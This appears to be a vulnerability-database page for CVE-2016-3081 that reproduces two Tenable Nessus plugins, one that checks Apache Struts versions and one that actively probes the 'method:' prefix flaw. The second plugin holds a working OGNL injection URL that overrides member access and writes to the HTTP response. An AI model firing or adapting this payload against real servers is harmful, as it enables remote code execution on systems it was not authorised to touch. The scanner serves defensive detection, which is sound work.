Vulnerabilities > CVE-2016-3081 - Command Injection vulnerability in multiple products

• https://www.seebug.org/vuldb/ssvid-91389
• http://cvedetails.com/cve/cve-2016-3081

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3081
• https://www.seebug.org/vuldb/ssvid-91389

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(90773);
  script_version("1.18");
  script_cvs_date("Date: 2019/11/19");

  script_cve_id("CVE-2016-3081", "CVE-2016-3082", "CVE-2016-3087");
  script_bugtraq_id(87327);

  script_name(english:"Apache Struts 2.x < 2.3.28.1 Multiple Vulnerabilities");
  script_summary(english:"Checks the Struts 2 version.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host contains a web application that uses a Java framework
that is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of Apache Struts running on the remote host is 2.x prior
to 2.3.28.1. It is, therefore, affected by the following
vulnerabilities :

  - An unspecified flaw exists, related to chained
    expressions, when Dynamic Method Invocation (DMI) is
    enabled. An unauthenticated, remote attacker can exploit
    this, via a crafted expression, to execute arbitrary
    code. (CVE-2016-3081)

  - A flaw exists in XSLTResult due to a failure to
    sanitize user-supplied input to the 'location' parameter
    when determining the location of an uploaded stylesheet.
    An unauthenticated, remote attacker can exploit this,
    via a request to a crafted stylesheet, to execute
    arbitrary code. (CVE-2016-3082)

  - A flaw exists that is triggered when dynamic method
    invocation is enabled while using the REST plugin. A
    remote attacker can exploit this, via a specially
    crafted expression, to execute arbitrary code.
    (CVE-2016-3087)
    
Note that Nessus has not tested for these issues but has instead
relied only on the application's self-reported version number.");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-031.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-032.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-033.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/version-notes-23281.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Struts version 2.3.28.1 or later. Alternatively,
apply the workarounds referenced in the vendor advisories.");
  script_set_attribute(attribute:"agent", value:"all");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-3082");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts Dynamic Method Invocation Expression Handling RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/04/21");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/04/21");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/04/28");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("installed_sw/Apache Struts", "installed_sw/Struts");

  exit(0);
}

include("vcf.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);


app_info = vcf::combined_get_app_info(app:"Apache Struts");
vcf::check_granularity(app_info:app_info, sig_segments:3);

# Versions 2.3.20.3 and 2.3.24.3 are not affected
if (app_info["version"] == "2.3.20.3" || app_info["version"] == "2.3.24.3")
  audit(AUDIT_INST_PATH_NOT_VULN, ("Apache Struts 2 Application"), app_info["version"], app_info["path"]);

constraints = [
  { "min_version" : "2.0.0", "fixed_version" : "2.3.28.1" }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(119728);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2016-3081");
  script_bugtraq_id(87327);

  script_name(english:"Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution");
  script_summary(english:"Attempts to execute arbitrary commands.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework, which is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. When Dynamic Method Invocation is enabled, it is possible to 
pass a malicious expression to the 'method:' prefix. A remote, 
unauthenticated attacker can exploit this issue to execute arbitrary 
commands on the remote web server.

Note that this plugin will only report the first vulnerable
instance of a Struts 2 application.");
  script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-032");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.28.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-3081");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts Dynamic Method Invocation Expression Handling RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Dynamic Method Invocation Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/04/27");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/04/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/12/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("torture_cgi.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (isnull(cgis) || thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);
vuln = FALSE;

tag = "tenable-"+rand();

foreach url (urls)
{
    vuln_url = url + "?tag="+tag+
    "&method%3a%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,"+
    "%23writer%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),"+
    "%23writer.println(%23parameters.tag[0]),%23writer.flush(),%23writer.close";

    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      exit_on_fail : TRUE
    );

  pattern = "^"+tag+"$";
  if (!isnull(res[2]) && res[2] =~ pattern)
    vuln = TRUE;
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : chomp(res[2])
);